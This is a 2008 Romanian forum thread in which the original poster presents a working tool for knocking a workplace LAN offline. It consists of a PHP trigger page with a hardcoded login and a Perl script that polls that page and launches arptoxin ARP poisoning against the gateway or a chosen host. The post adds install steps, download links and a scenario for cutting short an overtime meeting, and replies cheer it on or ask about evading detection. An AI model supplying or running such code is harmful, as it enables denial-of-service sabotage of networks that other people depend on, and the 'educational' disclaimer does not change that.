moubik Posted February 26, 2008 Report Share Posted February 26, 2008 m-am suparat ieri ca am stat peste program vreo 2h si chiar nu aveam chef.ce am zis ?cand am chef pic netu.am facut un mic sistem si vi-l prezint si voua.fac un cont pe un site freesi pun acolo acest script php:http://site.com/index.php<?phpsession_start();function loginMode(){ ?> <form method="post"> User:<input type="text" name="user"/> Pass:<input type="password" name="pass"/> <input type="submit" name="butonplm" value="login"> </form> <?php}function actionMode(){ if ($_SESSION['uid'] != 'admin') { exit(); } $action = fopen('info', 'r'); $cont = fgets($action); ?> <form method="post"> <input type="submit" name="action" value="<?$cont == 'activated') ? 'deactivated' : 'activated')?>"> </form> <?php fclose($action);}if (!empty($_POST['user']) && !empty($_POST['pass'])){ if (($_POST['user'] == 'admin') && ($_POST['pass'] == 'password')) { $_SESSION['uid'] = 'admin'; } else { echo 'user/pass incorrect'; } ?> <script> document.location = 'index.php'; </script> <?php}if (empty($_SESSION['uid'])){ loginMode();}if ((!empty($_POST['action'])) && ($_SESSION['uid'] == 'admin')){ $handle = fopen('info', 'w'); if ($_POST['action'] == 'activated' ) { fputs ($handle, 'activated'); } elseif ($_POST['action'] == 'deactivated' ) { fputs ($handle, 'deactivated'); } fclose($handle);}if ($_SESSION['uid'] == 'admin'){ actionMode();}?>ce face scriptu asta ?pai cere login. si daca te-ai logat corect iti apare un buton care spune daca scriptul va fi activat sau nu.daca scrie 'activated' este activat, daca scrie 'deactivated' este dezactivat.ca sa schimbi starea pur si simplu dai click pe buton.nu uitati sa creati si fisierul 'info' si chmod pe el 777acum pe calculatorul de la munca am facut asa:- am instalat modul Mechanize pentru perl.nu este inclus in ppm, deci trebuie sa-l compilam manual.1) download si install activeperl pentru windows de aici:http://www.activestate.com/store/activeperl/download/2) download Mechanize de aicihttp://search.cpan.org/~petdance/WWW-Mechanize-1.34/lib/WWW/Mechanize.pmvedeti ca linkul este in dreapta (are extensie .tar.gz)3) unpack si rulati in directorul sau din command lineperl Makefile.pltrebuie sa apara ceva de genul:>perl Makefile.PLIt looks like you don't have SSL capability (like IO::Socket::SSL) installed.You will not be able to process https:// URLs correctly.WWW::Mechanize likes to have a lot of test modules for some of its tests.The following are modules that would be nice to have, but not required. Test::Pod Test::Memory::Cycle Test::Warn Test::TaintChecking if your kit is complete...Looks goodWriting Makefile for WWW::Mechanizein acest moment e compilat, sa-l copiem in directorul cu librarii perl4) e directorul 'lib' care contine 'WWW' dati copy pe directorul 'WWW' si paste in 'C:\Perl\lib'bun. avem modulul Mechanize instalat.(nu accept intrebari tampite legat de instalarea modulului Mechanize, ar trebui sa stiti si singuri cum se face asta, presupun ca exista documentatie..)acum pe propriul calculator, partea care o sa faca toata blocarea retelei.scriptul perl:#!/usr/bin/perluse strict;use warnings;use WWW::Mechanize;use Test::More;use threads;$iptokill = '192.168.0.1'; #change ip to target$activationlink = 'http://site.com/info'; #change link accordinglysub thread1{ system ('arptoxin1v1.exe -es % -sip 127.0.0.1 -smac % -d 1 /kill '. $iptokill);}my $mech = WWW::Mechanize->new();my $activated;my $content;my $threadActivated = 0;my $thread;while (1){ print "fetching content\n"; $mech->get($activationlink); $content = $mech->content(); $activated = ($content =~ m/deactivated/); if ($activated && ($threadActivated == 0)) { $threadActivated = 1; print ('falling down'); $thread = threads->new(\&thread1); if ($thread->is_joinable()) { $thread->join(); } } if (($threadActivated == 1) && (!$activated)) { $thread->kill('KILL')->detach(); } sleep 10;}si executabilul arptoxin1v1.exe care se gaseste aici:http://web.sunybroome.edu/~antonakos_j/cst203/arptoxin/------------------------------------------------------------------------sa facem un mic scenariu.incepe sedinta la 17:53. injuri, pentru ca la 18:00 se termina programul.pornesti pe propriul calculator scriptul runbaby.plperl runbaby.plin sedinta, te plictisesti si te scarpini in nas. la un moment dat termini tot ce aveai in nas si te plictisesti. iti dai seama ca ora este 19:43 si vrei sa pleci acasa.scoti telefonul nokia e61, te conectezi la reteaua wireless locala.intrii pe site-ul pe care ai instalat scriptul php (nu uitati de fisierul 'info'), te loghezi cu userul si parola pe care numai tu le stii.iti apare butonul pe care scrie 'deactivated'apesi pe el, se reincarca pagina. acum scrie 'activated' si astepti. in cateva secunde pica reteaua.ce s-a intamplat ?scriptul perl observa ca i-ai cerut ajutorul (cam asa cum era chemat batman, cu lumina pe cer) si ruleaza comandaarptoxin1v1.exe -es % -sip 127.0.0.1 -smac % -d 1 /kill 192.168.0.1(puteti sa modificati in script acest ip, daca puneti ip-ul gateway-ului pica toata reteaua, daca puneti ip-ul unui calculator specific, doar el cade)netul nu mai merge, reteaua nu mai raspunde, in cateva minute sedinta trebuie sa se termine. ridici din umeri si pleci acasa.==============am pus aici toate fisierele de care aveti nevoie (fara perl si mechanize)http://rapidshare.com/files/95096827/neit.zip.html==============ATENTIE!este o practica foarte dura. tranteste reteaua. recomand sa nu folositi asa ceva.Acest articol a fost scris pur in scopuri educative Quote Link to comment Share on other sites More sharing options...
-VIP-SoftKill Posted February 26, 2008 Report Share Posted February 26, 2008 Wow..greetz moubik \ Quote Link to comment Share on other sites More sharing options...
Vhaerun Posted February 26, 2008 Report Share Posted February 26, 2008 in sedinta, te plictisesti si te scarpini in nas. la un moment dat termini tot ce aveai in nas si te plictisestiTare Asta ar trebui postat pe perlmonks.org la "Cool uses for perl" Quote Link to comment Share on other sites More sharing options...
escalation666 Posted February 26, 2008 Report Share Posted February 26, 2008 Ma intreb oare cu ce se ocupa de fapt administratorul de retea, Moubik nefiind la prima abatere de acest gen. Be not proud, ca nu ai de ce. Quote Link to comment Share on other sites More sharing options...
ViewStar Posted February 26, 2008 Report Share Posted February 26, 2008 bun daca fac asta ..vede providerul ceva? ma poate prinde? Quote Link to comment Share on other sites More sharing options...
phreak Posted February 26, 2008 Report Share Posted February 26, 2008 bun daca fac asta ..vede providerul ceva? ma poate prinde?el se refera la retele mici facute pe un router ( 192.168.2.1 ) Quote Link to comment Share on other sites More sharing options...
loki Posted February 26, 2008 Report Share Posted February 26, 2008 lol da eu ce fac? daca pica reteaua raman peste program sa le-o repar. Desi.. hmm mai am un coleg 5-ogenar care "le stie pe toate", considera (yahoo==virus) si XSS "chiar crezi in toate prostiile de pe net?" caruia chiar i-as pasa un "hobby" din cand in cand. Quote Link to comment Share on other sites More sharing options...
moubik Posted February 27, 2008 Author Report Share Posted February 27, 2008 escalation, asta se activeaza peste program cand adminul nu este la job.nimeni nu tipa dupa net in momentul ala decat noi, cei de la sedinta. Quote Link to comment Share on other sites More sharing options...
alien Posted March 4, 2008 Report Share Posted March 4, 2008 treaba asta o faceam si eu cu Cain. Tot arp poison 1way. Am totusi o intrebare: cu programul ala arptoxin1v1.exe nu te decteaza serverul daca are un filtru? Quote Link to comment Share on other sites More sharing options...
crystygye Posted March 10, 2008 Report Share Posted March 10, 2008 Eu foloseam o metoda mai usoara.Imi suna telefonu si ziceam ca mi-a murit cineva sau s-a intamplat ceva Quote Link to comment Share on other sites More sharing options...
moubik Posted March 10, 2008 Author Report Share Posted March 10, 2008 cate rude ti-ai omorat pana acum ? Quote Link to comment Share on other sites More sharing options...
devianc3 Posted March 10, 2008 Report Share Posted March 10, 2008 E doar la jumatatea arborelui genealogic EDIT: Va trebuie si WinPCap sa folositi arptoxin Quote Link to comment Share on other sites More sharing options...
candymanuu Posted March 22, 2008 Report Share Posted March 22, 2008 super tare...sunt admin de retea...(incepator , recunosc )...cand ma supara managerul...am cum sa il linistesc Quote Link to comment Share on other sites More sharing options...
&#208;&#210;& Posted April 6, 2008 Report Share Posted April 6, 2008 ca tot vine vorba de asta.,..cand eram mic si tanar..mi am facut minimzer pt orice aplicatie DirectX openGL.ca ma f.utea la cap bunicamea sa nu ma mai joc..care vreti cereti Quote Link to comment Share on other sites More sharing options...